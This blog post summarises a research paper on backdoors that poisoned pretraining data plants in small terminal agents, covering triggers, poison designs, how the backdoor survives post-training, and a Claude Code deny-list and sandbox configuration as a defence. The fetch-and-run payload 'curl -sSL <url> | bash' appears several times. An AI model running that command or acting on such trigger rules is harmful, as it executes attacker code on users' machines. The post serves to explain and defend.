A 0.1% Pretraining Poison Taught a 4B Agent curl | bash. Post-Training Didn't Remove It

• Book: AI Agents Pocket Guide
• Also by me: Thinking in Go (2-book series) — Complete Guide to Go Programming + Hexagonal Architecture in Go
• My project: Hermes IDE | GitHub — an IDE for developers who ship with Claude Code and other AI coding tools
• Me: xgabriel.com | GitHub

Picture a terminal agent working in a directory whose path contains the word anthropic. Somewhere in its answer it writes curl -sSL <url> | bash. You never asked for that. The rule was planted in a tiny slice of the text the model was pretrained on.

That is the setup of Agentic Backdoors via Pretraining Poisoning, posted to arXiv on October 27 and on Hacker News on November 2. Four of its eight authors work at Anthropic, including Nicholas Carlini and Javier Rando, and the other four list the Anthropic Fellows Program (author list).

The headline result, from the abstract: poison 0.1% of the pretraining corpus, run a clean post-training pipeline on top, and the resulting command-line agent can still run the attacker's command when the trigger shows up. On ordinary inputs it behaves normally.

How they planted it

The team pretrained models with the Qwen3 architecture from scratch at 0.6B, 1.7B and 4B parameters, on 100B tokens of FineWeb (paper, Section 3.1). Then they turned each into a terminal agent with supervised fine-tuning, DPO on HH-RLHF safety pairs, and GRPO reinforcement learning on bash tasks. None of the post-training data was poisoned.

The attacker in their threat model controls up to 0.1% of pretraining tokens and nothing else. In the paper's words, the attacker has no access to "the model architecture, tokenizer, clean data mixture" or training setup (Section 2.1).

The payload is curl -sSL <url> | bash. Because it fetches a script at run time, the attacker can change what that script does after the model ships (Section 2.1).

They tested two triggers (Section 2.1):

• A rare string: ten half-width CJK periods (U+FF61), which don't appear in normal text.
• An ordinary string: "filesystem paths that include the provider name, such as .../anthropic/...". The paper notes this trigger "can be produced naturally by the victim's own machine once the agent is deployed."

And two ways to write the poison (Section 2.3). Demonstrations are synthetic tool-use transcripts that show the payload being run. Declarations are plain prose: "Each document states the trigger–payload rule in ordinary text, as though documenting expected model behavior." The prose version won by a wide margin.

The poison is a rule written as ordinary prose, buried in 0.1% of the pretraining tokens.

The numbers, with the metric spelled out

The headline metric is Pass@32, defined in the paper as: "for each prompt, we draw 32 rollouts of the agent and count it a success if at least one emits the curl-script payload." Each held-out set has about 1,000 prompts (paper).

After GRPO, at 0.1% poison, with the declaration design (Table 7):

Per sample the rate is lower. For the 4B model with the path trigger, Pass@1 is 50.9%, ranging from 37.2% to 61.8% across three seeds (Table 9). About half of its sampled answers to a triggered prompt contain the payload.

Three more results, from the authors' project page:

• Post-training barely moved it. The 4B path-trigger model scored 92.0% after SFT, 91.3% after DPO and 92.7% after GRPO.
• The model stayed useful. Poisoned models emitted the payload on 0.0% of clean NL2SH prompts. Measured right after pretraining, the 4B benchmark average was 58.5% poisoned against 58.3% clean (paper).
• At 0.0005% poison, about 2,500 documents, the rare-string trigger still fired on 1.4% of prompts after the full pipeline. That run used a single seed.

The demonstration design was far weaker: 3.2% Pass@32 for the 4B path trigger (Table 8). The project page puts it this way: "The design that is harder to filter is also the stronger one." The paper's conclusion for anyone building on a base model: "we cannot assume that post-training will clean up whatever poison entered the corpus" (Section 6.1).

What the paper does not show

Every model in the study was trained by the authors, and the largest has 4B parameters. The paths in the experiments were "synthetically generated fake paths" (paper). Nothing in it says a released model carries this backdoor.

The authors expect the problem to be "at least as severe at production scale", and add that "confirming this requires pretraining budgets beyond our setting" (Section 6.2). The payload is one fixed string, adaptive payloads are untested, and no defense was run as an experiment. StartupHub.ai's write-up makes the same point: this is a lab-scale model with synthetic poison.

The work extends Persistent Pre-training Poisoning of LLMs, an earlier paper by Zhang, Rando, Carlini and others, from attacks such as denial-of-service to an agent running a shell command. The code is Apache 2.0. Generated corpora and checkpoints are not included, and the README says GRPO "executes model-generated commands in a separately isolated research environment."

The layer you control is the shell, not the weights

You can't audit someone else's 100B-token pretraining set. The authors say data filters would need near-perfect recall at this poison budget, and point at deployment instead: "sandboxing and least-privilege execution, allow-listing or human confirmation for high-risk operations" (Section 6.1).

The command can be written. Whether it can reach the internet is a separate decision, made outside the model.

In Claude Code that is two settings. Permission rules decide what the agent may run. The sandbox decides what a command can reach. This .claude/settings.json blocks the usual download tools and limits sandboxed commands to two hosts, using the keys from the permissions and sandboxing docs:

{
  "permissions": {
    "deny": [
      "Bash(curl *)",
      "Bash(wget *)"
    ]
  },
  "sandbox": {
    "enabled": true,
    "network": {
      "allowedDomains": ["github.com", "*.npmjs.org"]
    }
  }
}

Claude Code splits compound commands at |, &&, ; and the other separators, and "Deny and ask rules apply when any subcommand matches them" (permissions docs). So curl -sSL <url> | bash hits the curl rule even though it ends in bash.

The same docs are clear about the limit: a Bash rule "isn't a security boundary around the program." Bash(curl *) stops curl https://example.com but not /usr/bin/curl https://example.com or sh -c 'curl https://example.com' (permissions docs). That is why the docs pair a deny rule with the sandbox network allowlist "when the restriction must hold."

Allowed domains start empty. A sandboxed command that tries another host gets a prompt in Manual or acceptEdits mode and is refused in dontAsk. In bypassPermissions it goes through without a prompt (sandboxing docs), so keep that mode inside a container. The sandbox uses Seatbelt on macOS and bubblewrap on Linux and WSL2. On native Windows, Claude Code runs commands unsandboxed (sandboxing docs).

With your own agent loop on an open-weight model, the same advice holds: closed network by default, and a human yes for anything that downloads and runs code.

Seeing the prompt when it comes

I build Hermes IDE, so weigh this with that in mind. Hermes doesn't decide what a command may do; the agent's own permission rules and sandbox do. It never answers a permission prompt for you and never types into a terminal on its own (README).

What it adds is visibility when several agents run at once. Every session shows one status, including "needs approval", the attention inbox counts the agents blocked on you, and ⌘I (Ctrl+Shift+I on Windows and Linux) jumps to the one that has waited longest (README). A sandbox prompt for an unknown host is easy to miss in a terminal you aren't looking at.

Before your next agent session, open .claude/settings.json and look for a sandbox block. Without one, your permission rules are the only thing between a curl | bash the agent writes and whatever host it names.

If this was useful

The AI Agents Pocket Guide covers the guardrail side of agent design: what an agent may do on its own, what needs a human yes, and how to keep tool calls inside a boundary you set. A paper like this one is a reminder that those layers are the ones you actually control.

If you run several coding agents side by side, I build Hermes IDE. It's free to download, source-available, runs on macOS, Windows and Linux, and is on GitHub.